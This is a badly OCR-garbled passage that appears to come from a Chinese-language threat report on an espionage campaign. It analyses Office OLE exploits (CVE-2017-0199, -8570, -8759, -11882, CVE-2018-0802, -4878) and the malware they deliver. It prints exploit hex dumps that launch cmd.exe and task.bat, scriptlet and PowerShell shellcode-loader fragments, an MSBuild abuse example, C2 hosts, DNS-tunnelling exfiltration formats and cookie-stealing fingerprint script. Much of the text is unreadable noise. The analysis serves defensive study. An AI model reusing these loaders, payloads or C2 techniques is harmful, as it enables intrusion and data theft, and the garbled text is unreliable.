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3.2.1 Office O OLE Y
Office AT T Y Ws
1 . wn L oos (Compound File Binary Format, CFBF)
Office 20031 H [k a v _ O (Structured Storage, SS)
W A w DOC XLS PPT A 3 b Composite Document File

V2 Document(CDF)A
~ 27 Office Open XML (OOXML)

Office 20071 a YW Y XML P W Y ZIP A
) A w DOCX XLSX PPTX A
R (RTF)
Windows Q a N a L (control word) Ne (group)
D A w RTFA
3 ~ 6 OLE O b AW 5 o A A
3.2.1.1 OLE CFBF X Y
CFBF T~ y (r(storage)  (stream) Ai T | el b
L~ I pLA O bl UL (root storage)A
OLE CFBFT H W w4 "\x010lelONative" N G
1 Y3 W ow o wI\x010le"™ T G Office A
"\x010lel0Native" 7/

0| 1| 2| 3| 4| 5| 6‘ T| 8| 9| 10| 1‘ 2| 3| 4‘ 5| 6| T| 8| 9‘ 20| 1| 2| 3| 4‘ 5| 6| 7‘ 8| 9| 30| l| 2
NativeDataSize (4 EYTES)

WativeData (variable)
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"\x010le" 7 '
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?| 8| 9| 10| 1\ 2| 3| 4\ 5| 6| ?| 8| 9\ 20| 1| 2| 3| 4\ 5| 6| 7\ 8| 9| 30| 1| 2
Version (4 EYTES)
Flags (4 BYTES)
LinkUpdateOption (4 EYTES)
Reservedl (4 EYTES)
ReservediienikerStreanSize (4 EYTES)

0| 1| 2| 3| 4| 5| i}

EeservedienikerStrean (variahle)

RelativeScurceMenikerStreanSize (4 BYTES, optional)

RelativeSourceMonikerStrean (variable)

shsoluteScurcellonikerStreansize (4 BEYTES, optional)

AbsoluteSourceMonikerStrean (variable)

CLEID Indicator (4 BYTES, opticnal)

CLEID (16 BYTES, optionall

ReservedDisplayName (LengthPrefixedinicedeString, wariable, optienal)

Reserved? (4 EYTES, optional)

LocalUpdateTine (FILETIME, £ EYTES, optional)

LocalChecklUpdateTine (FILETIME, 8 EYTES, optional)

RemotelpdateTine (FILETIME, & EYTES, optiecnal)
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3.2.1.2 OLE OOXML X Y
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Control word+

Meaning ¢ o

Object Type«

TR TR

S ey

- \objlink <

~ Nobjautlink
- \objsub <

- \objpub+

- \objicemb <
- \objhtml«

- \objocx <

An object type of OLE link. <

An object type of OLE autolink.

An object type of Macintosh Edition Manager subscriber. <

An object type of Macintosh Edition Manager publisher. »

An object type of MS Word for the Macintosh Installable Command (IC) Embedder.
An object type of Hypertext Markup Language (HTML) control. <

An object type of OLE control. <

@ Object Information <
Minkself <
\objlock e

‘he class specified in the

ontrol word. ¢
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SN

st Ui
Dataltem_UInt
sl Uini
cLsm

Dataltem_UInt
fen Ut

s

0x00000004

0 0x00000010
20 0x00000004

bo |0x000000f0 | Dataltem UB,

. b1 oo oo
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n Ty

AbsoluteSourceMonikerStream T

[ URL Moniker
1 (Media-Type Negotiation) W
text/plain

The object is a link to another part of the same document.<

Locks the object from any updates. ¢

G e T e R O A

\objclasse The text argument is the object class to use for this object; ignore t
object data. This is a destination control word. ¢

\objname+ The text argument is the name of this object. This is a destination c

\objtime < Lists the time that the object was last updated. <
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mshta.exe(HTA Moniker
A
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) hta @

[ 5€

L A File Moniker w

v T

CLSIDA

URL Moniker File Moniker 3~ vy 0D 3

GetClassFile 0 COM ® CLSIDA
GetClassFile @ WOw b _ o -
b TP )

CVE-2017-0199 File Moniker .sct b

s v esct pT p A

3~ CVE-2017-0199 Y PPSX b u A
T e - - rels o T A
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ppt/slides/_rels
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XML B T~

verb

93" - name="Document" - progLd="W

93" -name="Document" - progId="H

M rels

b TR

pT" Q@

E)

w 0 Script Moniker

ppt/slides

.Document.12" |r:id="rId3"

.Document.12"-r:id="rId3">

I 6€

r 7€
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XML
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I 8€

G CVE-2017-0199 k ~ 03w b FilterActivation LA H~
2, HTA Moniker Script Moniker  CLSIDA W b A
3 @ Tw Composite Moniker 0 Scriptlet Moniker 0 ¢ Iy
4 CVE-2017-8570 A
44 RTF-OLEChject.ss |44 RTF-OLEObject.ss
EiE) RTF-OLEObject.ss As HEX | AsText | AsPicture | As RTF | as HTML
?Lj ngnh 02200000000 0100 Q002 0500 0000 0100 Q000 Q000 0000 | ... ... ...
?Lj Ommh 02200000010 0000 0000 0000 0000 COO0O0 Q000 0502 0000 | .. ...
02200000020 0000 0000 CO0O0 0000 0000 004 OQOZOO0 0000 | ... ... ... F....
0200000030 0302 0000 0000 0000 COO0O0 Q000 Q000 0048 | .. ... ..o F
0200000040 0000 1AR00 0000 S5CSC 3132 37ZE Z20ZE 20ZE | ...... WAW1IZT7.0.0
0x00000050 315C €324 5C74 5C74 €573 T4ZE 7363 7400 lhvcshvthtest.sct
0x000000&0 0EQD ADDE 0000 0000 0000 0000 0000 0000 | ...t
0x00000070 Q0000 Q000 0000 0000 32300 0000 3200 0000 | ........ 8...2...
0200000080 Q0300 5C00 SCO0 3100 3200 3700 ZEOQO 3000 WoholoZoT7...0
0200000050 ZEOD 32000 ZEOO 3100 5C00 €300 Z400 5C00 Q... 1l.Nv.oc.F.h
0200000020 7400 5C00 7400 €500 7300 7400 ZEQO0 7300 t.\v.t.e.s.t...5
022000000B0 €300 7400 CEAF ABEC 157F D211 S73E 0000 [
022000000C0 Fa7s5 TEZ Q0000 0000 0000 Q000 0000 0000 Suaed L
022000000D0 0000 0000 0000 0000 0000 0000 FFFF FFEFF | ... ... ... ... ...
02x000000EQ 0€e0% 0200 0000 0000 COO0O0 Q000 Q000 0048 | .. ... F
0x000000F0 0000 0000 FEFFF FFFF 0000 0000 0000 0000 | - ...
0x00000100 S0€€ €0R€ 37B5 DZ01l 0000 Q000 QOO0 0000 SET LT L.
0x00000110 I
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if rnnnnP'HIDIc.]—_m_\'_lf_'l\_d_ e e . 1

6172 { )

6173 for (int i=@; i<_connectURLs.Count; i++)
6174 {
6175 sb.Length = @;
E1TA__ . .. h Annhnaf:“An“+?); L
if (1 == 8)
{

sb.Append("base.ConfigureProxy(this.GetType(

- o R e aftiavA
s Aroimp T i Eie RN 2

6181 s3.A

6182 }
6183 else
6184 {
5 used, the rest are commented out in the proxy 6185 // Only the first location i
roxy(this.GetType(), "); 6186 sb.Append("//base.ConfigureP
Url((string)_connectURLs[i])); 6187 sb.Append(WsdlParser.IsValid
6188 sb.Append(");:");
6189 }
619@ textWriter .WritelLine(sb);
6191 }
6192 }
6193
50 CVE-2017-8759 rie
Pt A D 7 a W F URL a T i1 URLA
y 7 ¢ URL A A
WLT ~ We i n "t K 9 A
internal static string IsValidurl(string value)
{
if (!System.Runtime.Remoting.Configuration.AppSettings.AllowUnsanitizedWSDLUrls)
{
return WsdlParser.TransliterateString(value);
1
if (value == null)
{
Peturn "\"\"";
¥

vsb.Length= 8;
vsb.Append("@\"");

for (int i=@; i<value.lLength; i++)

{

T {vE W L] == ")
vsb.Append("\"\"");
else
vsb.Append(value[i]);
¥

vsb.Append("\"");
return vsb.ToString();
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tegory: (Lu)UppercaselLetter, (Ll)LowercaselLetter

er sb = new StringBuilder("\"");

ar ¢ in str)
r.IsControl(c))

tinue;

r.IsLetterOrDigit(c))

Append(c);

c).ToString("X4"));

1

//UnicodeCa
StringBuild

foreach (ch

if (cha
{

con
i
if (cha
{

sb.
)]

P

sb.Append("\\u");
sb.Append(Convert.ToInt32(

Sb.AppEnd("\"");
return sb.ToString();

}
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COM
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ProglDw Equation.3 P
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A
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FONT W @
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OLE
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00000820

00 00 00 00

1)
000000400
REQIEEEER 2

MompOhj
12

- i

oty g

i i = —

sicRight

~ sidChild

|+| clsidThis

- UserFlags

- LreateTime
- ModifyTime
StariGect
Sizel ow

- SizaHigh

[+} OLESSDirectoryEntny[3]
[} OLESSDirectoryEniry[4]
[} [OLESSDirectoryEntry[5]
[ OLESSDirectoryEntry[6]
| DLESSTrectoryEnmy 7]
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Ca

[ITER TS LT
A TV ) E TG T TR T

(5} OLESSRoot
[ OLESSHeader

r2€
"Equation Native" p A

0x00000000
0x00000000

0x00000500
(0000540

[T TR ST

Dxdnnnnaaz_ L 02000 =

el (EIERHIEH A ) .

150 o MM g 2]
0x3 Ox00000546
OxFRFFAARE 0x0000054%

Ox00000550

0x0 0x00000560
LES OxDONNN55S
0x0 0x0000056¢
Oxi Ox0000057%
0x69 0x00000578
12xd DEODDDIETED
‘\Root Eniry\[DbjInfo Ox00000580
\Root Entry\ o .. 0x00000D&0D

\Orphaned) TN, || 0%00000630
\Onphaned\ MMM - 0%00000 700
‘Orphaned! IO, | 0x00000780
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struct EQNOLEFILEHDR {

WORD  cbHdr; // v W Ox1CA
DWORD  version;  // W 0x00020000A
WORD  cf; // E < A
DWORD  cbObject; // MTEF b’ A
DWORD reservedl; // E
DWORD reserved2; // E
DWORD reserved3; // E
DWORD reserved4; // E
}s
% T ! A
00000900 1C 00 00 00 02 I.:Jl".} BE C3 45 00 00 00 00 00 00 00| 3"iit]?. .......
00000910 28 24 &8 00 7C A8 &9 00 00 OO0 00 OO (fhol "i.uua.
56 CVE-2017-11882 4 I 4€
3 " '
4 [ v
0-1 cbHdr E 0x001C
2-5 version g 0x00020000
6-7 cf < 0xC3BE
8-11 cbObject MTEF 0x45 4 69
12-15 reservedl E 0x00000000
16-19 reserved?2 ‘E 0x00682428
20-23 reserved3 ‘E 0x0069A87C
24-27 reserved4 ‘E 0x00000000
E w E AE a U
Q0000910 P
00000920 85 20 2F 63 63 chd.exe Jcc
00000930 141 alc.exe s ARRRRA
00000940 41 ARRRRRRRRRRRRRAR
Q0000950 02 | A,.C.d...B...f..
00000960
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0 MTEF gl 0x03
1 ) 0x00 Macintosh ~ © 0x01
Windows A W O0x01A
2 * 0x00 MathType 0x01 E
A W Ox01A
3 “ h ~ 0x03
4 T ~ 0x0A
H 44 'E A
OX0A w SIZE 7\ We A
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0x02 typeface
0x81 r
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=
0x00430C12 G

0012F280| B8812F2EC
BO12F284| 77EFDFB1|iE[O)¥| GDI32.77EFDFB1 3EQ GD:
0012F288| 938112FB
BO12F28C| BB12F2A4
B012F2908| 77EFDFCS|jE[D]F| GDI32.77EFDFCS EH nt
B012F294| 77EFDFED|}E[D]F| GDI32.77EFDFED EH GD!
B012F298| 77EFDFDA|JE[D]E| GDI32.77EFDFDA EH GD!
BO12F29C| BB12F660
0012F2A0| BB12FABS ‘ o
B912F204| BOBEBB21 _ RS AT A
0012F2A%| BOBBFFFF
BO12F2AC | BB12F2F 0
B612F2E0|| 8411508 35 [O)F| EQHNEDT32.804115D8 EH
0012F2B4|| BB12F430
0012F2E8 || BAAAABOA
0012F2BC || BB12F2CC
AR4A2E2 M0 OR1PCARAD
59 CVE-2017-11882 4 r7e
12 4 NS [QE%3 99347 ABIFCE]
6612F27C| 20820FF1E
66812F280| B6812F2EC
0612F284| 2E646D63
0812F288| 28657865
B812F28C| 6163632F
66812F290| 652E636C
B812F294| 26206578
pe12F298] B1818127R o
522 SR Be12F2A0: - - - -
e Bo12F2A4| - - - -
0B12F2A8[ 1 1 1 1/
BO12F2AC| - - - -
0012F2B4| B80812F430
0012F2B8| 00000000
0012F2BC| B812F2CC
0012F2C0| BB12F660
0012F2C4| BB12F688
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£  WinExec A r Dy A
ST3 empty -1.6935811826736

5T4
5TS
S164

8612F430

a6438C18 [
foeeeonn

CmdLine =
ShowsState =

B812F2CC|ASCII ""MS Reference Specialty”

A812F668

RAAICAO00

CALL F| WinExec 3£ F EQHEDT32.0868436C12
“cmd.exe fccalc.exe & AAAAAAAAAAAAAAAAAAAAAAA™,12,""
SW_HIDE
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Wa'E Ne ::: ) o ) FONT 0 ¥
(CVE-2017-11882) Wy p W WinExec('cmd /c %TMP%\task.bat) D A

As HEX | AsText ]’ As Picture ] AsRTF | asHTML

!CDD Q000 0200 SEC4 ASO00 0000 0000 0000
C2A7 5C00 C4EE S5BOO 0000 0000 0201 0003
OROR 0800 0LE3® COS0 &D44 2452 S0OEZE TFE3)

0x00000000
0x00000010

0x00000020

TSR AOLL D ED T T T
O0x00000040
0x00000050
0x00000060
0x00000070
O0x00000080
O0x000000%0
O0x000000R0

Ox000000B0O

O0x000000C0 000010000000
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e 'E Ne 't - FONT 0 ¥~ w 0 CVE-2018-
0802 N W "cmd /c %TMP%\task.bat "
(3) CVE-2018-4878
T °~ =We Shockwave Flash - v 0 CVE-2018-4878 -
W "cmd.exe /c %TEMP%\task.bat" o A

=E) tmp5ei37f AsHEX | AsText | AsPicture | AsRTF | as HTML
{n LGt 0x00000000 | 655 €655 ES24 0000 4657 5322 B34 0000 E'LTfU.$.$..
J Hokginfo 0x00000010 055F 0000 OFAD 0000 L3801 0044 1108 |x.._......... D..
~ L] oocxname 0x00000020 | 0000 0043 02FF FFFF BFLS 2100 0000 0100 | ...C...... [
0x00000030 DOSC DOBE DOBD D182 DOBO DOB&€ DOBD D18B | ... ... ... ____._._.
0x00000040 DOBS 20D0 BADO BODO B4D1 8020 3100 0QO0FF | .. . .._..._.. 1...
bxo0000050 | 158z oBoo oool
ZR..R..r(3.. AR ST GROTULSUEUT
3 <nl o, 0x00000070
LA BENOODO0ED
TS IR [ELLLLLLET
AL GG, 0x00000040
rochAu. .x.ddre Ox000000BO
.r3..£..N.c.. neoOOODOODCH

0x000000DO
0x000000EQ
0x000000F0
0x00000100
ox00000110

0x00000120
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' © Office H A W Kaspersky & An (un)documented

Word feature abused by attackers| T i A

706 {\field{\*\f1dinst{INCLUDEPICTURE "http://yopmail.com/4.php?stats=send&thread=0"

MERGEFORMAT \\d \\w0001 ‘\\h0001 \\pml \\px0 \\pyO \\pwO}}}}
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() @gmail.com

wants to

[ {
©

Read, send, delete, and manage your email

B View your contacts

Q&

®  View the activity history of your Google
apps

Allow to do this?

) I you I ion in

My Account
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ms-availablenetworks ~ || =& e -

mscfile REG_EXPAND SZ  %SystemRoot¥\system32Z\mmc.exe "%1" %*

Defaultlcon
shell

> Author
open

: command

RunAs

74 4 rae

e ~ =~

z eventvwr.exe k \Y; 4 b UAC B
2. C€+ BE
H DT~ a  Winword.exe wwlib.dllbw » T
Winword.exe 4 Office Word h A Winword.exe w ¥ v wwlib.dIT
A

>

~

wwlib.dll “ Ty ¥ Wae DLL' £ v n

k2?xm1 version=ri.on?>
J<package>
Jecomponent id="testCalc">
J<script language="JSeript">

<! [CDATA[
Jfunction setversion() {

var shell = new ActiveXChject ('WScript.Shell'):
ver = "v4.0.30319';

lery

shell.RegRead ('HEKLMA\SCFIWARE\\Microsoft\\ .NETFramework\\v4.0.30319\\ "}
} catch(e) {

ver = '"v2.0.50727"';

shell.Environment ('Process') ('COMPLUS_Version') = wer;

function debug(s) {}

Jfunction baseé4ToStream(b) {
war enc = new ActiveXObject ("System.Text.ASCITEncading™):
var length = enc.GetByteCount 2 (b);
var ba = enc.GetBytes_4(b):
var transform = new ActiveXObject ("System.Security.Cryptography.FromBaseé4Transform”):
ba = transform.TransformFinalBlock(ba, 0, length);
var ms = new hotiveXObject ("System.IO.MemoryStream");
ms.Write(ba, 0, (length / 4) * 3):
ms.Position = 0;
return ms;

W W  shellcode shellcode w I} N W D - Dp
b CVE-2017-8759 ! shellcodew ~ f shellcode TP
W @ word A
3. ¢&r CE
aa DeHup T~ # MSBuild.exe Dp
MSBuild L We 6 Ty XML ) L=
b D~ Y Visual Studio T b A
XML pT Y W b~ L p = - (Ol

~ ~

T C+ 7 A H = MSBuild "H Task "H H KF w Y

—_C
v}
>



<Project DefaultTargets = "Compile"
x¥mlns="http://schemas.microsoft.com/developer/msbuild/2e83" >

«l-- Set the application name as a property --»
<PropertyGroup>

<appname>HellolorldCS</appname>
</PropertyGroup>
<!-- Specify the inputs by type and file name -->
<ItemGroup>

<CSFile Include = "consolehwesl.cs"/>
</ItemGroup>

<Target Name = "Compile"»
<!-- Run the visual C# compilation using input files of type CSFile --»
<C5C
Sources = "@(CSFile)"
OutputAssembly = "$(appname).exe">
!-- Set the OutputAssembly attribute of the CSC task

pnfe tho suegutablaS S AEEEE =

TaskPanameten - "OUtputAssembly”
ItemMame = “EXEFile"

<= -—ag:the-fiilk-name- efithe-output- filk- -3
Text="The output file is @(EXEFile)}" /=

76 4 I 6€

wa  MSBuild W @ Powershell N Powershell
Tv Wae EXE p~ 9 by': 37T Y c&c LA

88380000 FC cld
E8 boeeepon call BB3BO606
] short oe3pBes2F

edx Consoled. 884816873
ecH,

edx,

esi,

esi,ecx kernel32.7C80189C
edx,

edx ntdll.KiFastSystemCallRet
ebp,

ebp,ecx kernel32.7C88189C

ecx,ebp

edx,

esi,

ebp,ebp

esi,ebp

short 8683BOB2C

short BB3BE6E616

BCx Consoled. 884816873
ecx kernel32.7C88189C

B83BOB2ZF E8 D4FFFFFF call BB3BO608

-1
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return bias

d =

Al e
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*=typeof window ° window : this, function ia.

a.document,

P G p~ P 4 T W 0 A
[

' , , Ne

,BuildID “ jsHeapSizeLimit
cookie IP

"3 H o [c& F A

JS H A

e == function {a,

B A

k=3

, DPI1,CPU ,CPU

screen.colorDepth

H A

=aiaxdrar{lonsfion,peisximaninonsepeiavlvavrirovery satswdxby. —man

var browser_hash = ;
: browserhash,

: arraydjson(w1ndow llstIP) replace(/"/g

{client}." };
: brnwserhash,

=d Browser In

~ oy (H-
JavaScript PayloadA

"5 s Webi JS

- w h H A

=
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€l
e

payload




. navigator[ O0x€400[258]]1[_ 0xe400[2Z2c]] = {
activex: navigator[_0x6400[4011]1[_0x€400[34511(),

cors: navigator[ Ox6400[401]] [ _Oxe400[4Zc]11() .,
flash: navigator[ Oxe400[401]1]1[_ 0xe400[42Z7110) .
foxit: navigator[ 0x6400[401]11[_0xe400[425110),
Jjava: navigator[ O0=xe400[401]]1[_ 0xe400[4235]11 Q).

phonegap: navigator([ O0x6400[401]1]1[_0x6400[40511() .
quicktime: navigator[_ 0x6400[40111[_0x6400[42011().,
realplayer: navigator[ Ox6400[201]1][_0Oxe400[421]114() .,
silverlight: navigator[_0x6400[401]1]1[_0xe400[422110),

touch: navigator[ O0xé400[401]][_0x6400[422]110),

vbhbscript: navigator[ Ox€400[401]1][_0x6400[424110),

vlc: navigator[_ 0x6400[401]11[_0xe400[425110() .,
navigator[ 0x€400[401]][_0x6400[426]1]1 (),
navigator[ 0x&400[40111[_0xe400[42711() .,
wmp: navigator[ O0Ox€400[401]11[_0x6400[422110)

webrtc:
wshsockset:

. navigator[ O0=x€400[258]][_ 0xed400[225]] = {
width: screen[ 0x6400[246]11,
height: screen[ Ox€6400[245]11,
availWidth: screen[ 0=E6400[440]1],

- L samsE

w0

availHeight: screen[_O0=6400[441]
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payload

ad. jqueryclick.com/117efea9-be70-5412-9336-893c5a0defal

"{"history":{"client title":"",

"client url®:" ",

"client
APISID= ;
SAPISID~=
UULE= ;

cooklie":"SID=

r

-

FlashUpdate N \

w H A

o A

____________



BB4B1EFE| . “http://80.255.3_189/Ff1as™
@B4A1F7F| . FF7h24 24

Jriee e | . . e e e oo g T

¢ S5 L[RTp Y
dword ptr ss:[esp+8xiC]
duword ptr ss:[esp+Bx46C]
duord ptr ss:[esp+8x8]
-dword ptr ss:[esp+8x8]

83 4 I 13€

~ 3" Shellcode q A" shellcode "~y [Wa dll »

edi BOFCA83Cc
edx,

edi,

ebp,

ebp,edx

edi,

edi

ecx,

ecy,edx

edx,ecx
edi,
ebp,
XOF BCX,BCX
cmp ebp,ecx
short BBFCOB2C
short BBFCOB16
edx BBFCB83C
M edx
call BBFCHBBB
aas
salc
mov esp,

A BO12FAF O ERTIgHTR]H




81848EC1 33ce

91B48EC3 88BB 288086761
91048ECA Lo

91048ECB 3D oe168860088
B1848EDB(" 7C F1
91048ED2 68 00108000
81048ED7 B9 28808781

§1848EDC 8DL42Y 14

eax,eax

eax
eax,
short @1848EC3

mou ecx,@8x1070028
lea eax,dword ptr ss:[esp+Bx1lh

ds:[81871828]=08 (Backspace)

1878148 ( 80
a1878158( @@
1870168 (38
a7e17e (72

A ATa4onl ar

50

FF75 F4
FF75 FO

E8 20COFFFF

FF15 E8518281

08 08|08 oo

8@ B8 |68 B3

38 39|2C 2F 2F | 808.255.3.189,/5
31| ref=nb_sb_noss_1

eax

dword ptr ss:[ebp-8xG]
dword ptr ss:[ebp-8x18]
8180835B5

kernel32.GetCurrentProcessId

ASG11 "%dyt%dyt%d - Zdyvt%s\tis\tis vt e6 8x182C0D4

B1886CAB 0
B1@@acAc dword ptr ss:[ebp+8x8]
B1886CAF call B1814BE3

A BO12F9D 0 BT P 3

2E 31 89 31 39 32|h09 -1996.5.1. 192 N BAFAL44FE (34 38 39 31 39 39
PSR W f.¢¢_ apol y L LT Y .




T LD
818682208
a18822p9
818822DF
818822E8
818822E2
8100822E3
810022E8
8100822E9
818822EF
8180822F5
8100822F6
818822FC

53
8D85 F4FAFFFF

EB ABGEOBOA
e

FF35 948003601
FF15 CA528281
e

8985 DBEEFFFF
E8 AEFBFFFF

lea eax,dword
EH]

edx
call 61008E8S8
EH]

call

eax
mov dword ptr
call 81881EAF

ptr ss:[ebp-8=56C]

ss:i[ebp-8x1128],eax

aacceaty

wininet.HttpOpenRequesth

ds:[818252C8]=771C2AF? (wininet.HttpOpenRequestA)

+ BA12E888 ETIHHTR
ASCIT "GET"

ASCIT "“/s/ref

0012E8BS
0012E8CS
8012E8DS
G012EBES
BB12E8F8
8012E908
8012E918
8012E928
8012E938
B012E948
8012E958
8012E968
8012E978
8012E988
A012E998
8012E9A8
8012E9B8
8812E9C8

Accept: =/*_._Hos
t: wwu.amazon.co
m..Cookie: skin=
noskin;session-t
oken=UGUHLixDITn
FUq1XEAppfOroFyk
eif/As/udpNZSBP6
YEmRB2rncq49cpmD
KHEnKw+chu9LrWin
mSoPplHYWGZ9RKSFQ
7uBBGbmnixBrLLIy
EYfgHsKRglgQaus?
Ka3tUbghx15C8a/ 1
j2xkqojapTdgZPbr
rnFuf8%ewbsSQUuju

ASCII "%s"

&bt F H Wy EOF VW v A Host h
~ 3 I
N H A Host A
GET /s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books HTTP/1.1
Host: www.amazon.com
Accept: */*
Cookie: skin=noskin;session-token=j+0t1@/XY2DGYF9s6V49Tsshl3Gg/vbLFRBExki/uxIje/ohailtmKquoUPBalGxxd+L+gdESDptlvhulyOryASkZrT
+L7MvQuiQTHN@3dHHBFXXa@nTVxQEDHL 3AUM+yoLYF161z4F8NbrGGCr8]a6S2tBHILribkCcY3ES I wd=csm-hit=s-24KU11BB82RZSYGI3BDK | 1419899012996
User-Agent: Mozilla/5.8® (Windows NT 6.1; WOWe4; Trident/7.8; rv:11.8) like Gecko
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 288 OK
Date: Wed, 15 Nov 2017 ©9:32:14 GMT
Server: Server
x-amz-id-1: THKUYEZKCKPGYS5T42PZT
x-amz-id-2: a2lyZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rimRuZ2tmZGl4aHRvNDVpbgo=
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
Fodcea 1 oaL. A
88 4 I 18€
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zwmaﬂwg T P ey m,ftm\fff% T T e ;

rm‘"‘-’k*}?fhfﬁ—v“ Lot

B e e Y S S :__'_- : ra._.*"——:s."‘-}.—?a."‘-'é—:a. T BT iy

| S| T, | . | .. | . | . | . | P

3.~ DNS J Denis
Denis a W # DNSY D 0 3eaT A
S B
a. ) N v’ Base64 ~ 0 DNS F+ 8.8.8.8A
DNS O BotlD
4 (Queries

4 | AAAAAMAMAAAAAAAAAMAAAAANMANAAFKN . . teriava. com: type NULL, class IN
MName: AAAAAAAAAAAMAMAAMAAAAMAMAAMAAAAAAFKN.z.terlava.com
[Name Length: 48]

CLEE LR LR LR L L0 41 41 41 41 41 41 41 41 4
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 4
41 41 41 41 46 6b 4e @1 7a @7 74 65 72 69 61 76
6l B3 63 6f bd B0 B0 Ba B0 O71jElEREER R

90 4 I 20€

b.C&C F BotID" BotlID v zlib4 ~ 4T T 789 A



4 Answers
4 AAAAAAAAAAMAAAAAAAAAAAAAAAAAATEM . 7 . teriava. com: type NULL, class IN
Mame: AAAMAAAAAAAAAAAAAAAAAAAAAAAALATgM. z. teriava. com

f ‘_,..._‘._‘,. e 4---\5 1.-----;.z--c-.--- R e = £
ﬂ?.'—ﬁ"::.% .-.-ﬂ .-fﬂ_. 3 ui_ =~ TRE ETa4 FLUL SuFEE T, SITEE T _dx-wnx_r AT AT cee mmmmmm=a m

ﬁﬂmﬂnﬂnﬂnﬂ‘_ il -,
'=Tan 'wCam Calan Tulad "o

91 4 I 21€

o 2E D9 95 624 Ox2ED99562 y  Denis C&C H we::  BotIDA

C. Denis C&C 0 H ~ h A ) zlib4 ~ P
Base64 A
4 Yueries

4 | LtmVYgQAAAAAAAEAAAAAAAAAAAAAATCY . AAAAADWAAAABAAAAE Jwlc_ULDAY1MjeyMHQy
MName: LtmVYgQAAAAAAAEAAAAAAAAAAAAAATCY . AAAAADWAAAABAAAAE JwLc_ULDdY]

MThlmam L =l -, A AT

1 |

...... Be38 4c 74
848 141 41 41 41 45 41 41 41
2858 141 41 41 4a 43 59 3e 41
8868 141 11 41 41 41 41 65
8878 64 1 4d 6a 65 79 4d

4d Ge Ja 4d 73 73 4c

be 42 41 41 28 67 54

56 39 6d 3a 4? 5& ﬁb_Ea_ 6d 42

T T LtmVYQQAAAAAAAEAAAAAAAAAAAAAAICY Base64 H 2E D9 95 62 04 00 00 00
00 00 01 00 00 OO I' 2E D9 95 62L.  BotID I 04 00 00 OO 00 00 01 OO OO0 OOL A

AAAAADWAAAAGAAAAeJwLc_ULDAY1MjeyMHQydHRY TMnNzMssLi IKLMkvYnBiAA.gTOP_R2-
iVOmZGVKZmBKYGKAAWD7vA2H Base64 TP zlib 4~ 7

Address: | 0x002EE3D0 - @

0z00ZEESD0 56 45 de 55 53 24 32 37 32 38 31 42 31 41 42 41 WVENUS-ZT2851E14B4 -
0x00ZEEZED B4 6d 69 fe 62 T3 T4 T2 61 T4 &f T2 00 42 00 00 dministrator.B..

93 4 I 23€

H ~ 0 o BotID Base64 A



4 Queries
4 LtmVYgAAAAAAAAMAAAAANAAAAMAAAATON . z . terliava. com: type NULL, class IN

Mame: LtmVYgAAAAAAAAAAAAAAAMAAAAMAATON., z . teriava.com
[Mame Length: 46]

88 68 B0 B8 68 o8
41 41 41 41 41 41
41 41 41 41 4a 4f
61 83 63 6f 6d @

8838
8848
Ba5a
Be6a

74 Bd 56 59 67 41 41 4]
41 41 41 41 41 41 41 41 41 4
Ja B7 74 65 72 69 61 76
B8 Ba ©6 81 B0 02 20 B8 B oe

94 4 I 24€

(A

enum CHDS
CHD _API_RUH
CHD FREE LIE
CHD PROC_START
CHD READ _FILE
CHD SHELL RES
CHD_HOHE
CHD WRITE
CHD_EHUM_WIHDOWS
CHD SET_REG
CHD REG
CHD_FIHD
CHDS_ HMOUE
CHD DELETE
CHD DRUS IHF
CHD CREATE_DIR
CHD_REMOUE

95 4 I 25€
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i w http v~ ] “i:roodns T v Wae IP A
97 4 r27€
H W IP O POST  ~ host referer 2t ! dnsA
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i n oa W v loadera dIl' & shellcode A
loader w dll p v Adll - W rastlsc.exed
rastls.dl1& OUTLFLTR.DAT » A C:\Program Files\Symantec\Proxy\ X
Symantec " p Ai T rastlsc.exe Symantec p~ rastls.dll -
OUTLFLTR.DAT ¢ A rastls.dll  rastlsc.exe v N OUTLFLTR.DAT w dir

dil A loader



i I/L 0 " IC<Container
type>.<UID>.<Container>.<Server address>A

V)

Y WNure'’
1C1_MFVTIN3MOMADQMJISGM2DKNRXHDAKR7WS . LHNZQWSJ IFBUSTKBJ51QGQICIMBUIBNAT51CGQLICIBL4B
LY5J5TCVAW. tt. lookfofo.com

[ 2z H

i TIC ~ 1 Container type (4 Container Ng) :': D H A
Container type™ 1[ 4 A2 ) v v A3
] wA 4 D w AMFVTIN3MOMADQMJSGM2DKNRXHDAKR7WS~/1 uID
IP Base32 A
LHNZQWSJIFBUSTKBJ51QGQICIMBUIBNAT51CGQLICIBLABLYSJ5TCVAW M Container” 3 Base32
A’ y 1ACIMAOQ A
4. Salgorea 4
2015 10 W a " h T o D W i
w SalgoreaA 2017 w "7 a = powershellA (“pPpw W A
2015 ~ Salgorea N Word J6  © g Wi
p - " . " A Bundle.rdb o~ ~ [ msiexec.exe A
Bundle.rdb 3, Salgorea 9 dlIA
h w1
Y dll i FE
aQa- a:b p’
o p ' !
e Y H A
2017 © 10 Wae powershell - FW® shellcode - A shellcode
w FUa dll o Y A
$hinary = [Convert]: :FromBase64String ("6MBQBgD+/v7+u61dh3QRO0OYNHOa3V(

$signature=@
[D11Import ("kernel32.d117)] public static extern IntPtr VirtualAlloc
(D11Import ("kernel32.d11”)] public static extern IntPtr CreateThread

99 d I 29€

Ne ~ 2015 0 Bundlecrdb w  nWw Ar . A= A
1888EDSD sub eax, 148h
1088EDG2 jz loc_1888EDED
1888EDGE sub eax, 46h
10868EDGE jz short loc_1888EDD3
1088EDGD sub eax, 184%h
1088EDT2 jz short loc 188BEDBE
1088EDTY L sub eax, 53h
1088EDTTF jz short loc_188BEDA3
1088ED79 sub eax, 2980h
1088EDTE jz short loc_188BEDSC

100 4 I 30€
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uuid=[UUID] #un=[ J#en=[ J#on=[ b 1 #lan=[IP
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Eext:BOBGYOF B var_ 4 = dword ptr -4
Eext:B0B6YOF B

text:B0BG9OF @ push ebp
text:08B69BF1 mow ebp, esp
text:B0B690F3 sub esp, 218h
text:00B69OFQ moy eax, _  security_cookie
text:B68B69BFE ®or eax, ebp
text:B0B69108 mou [ebp+uar_4], eax
text:00B69103 push esi
Eext:A0B69104 push edi
text:A0B69105 lea eax, [ebp+Buffer]
text:00BEG910B push eax : lpBuffer
text:B0BG9106C push 184h 5 nBufferLength
text:00B69111 call ds:GetlLogicalDriveStringsw
Eext:B0B69117 cmp [ebp+Buffer], 8
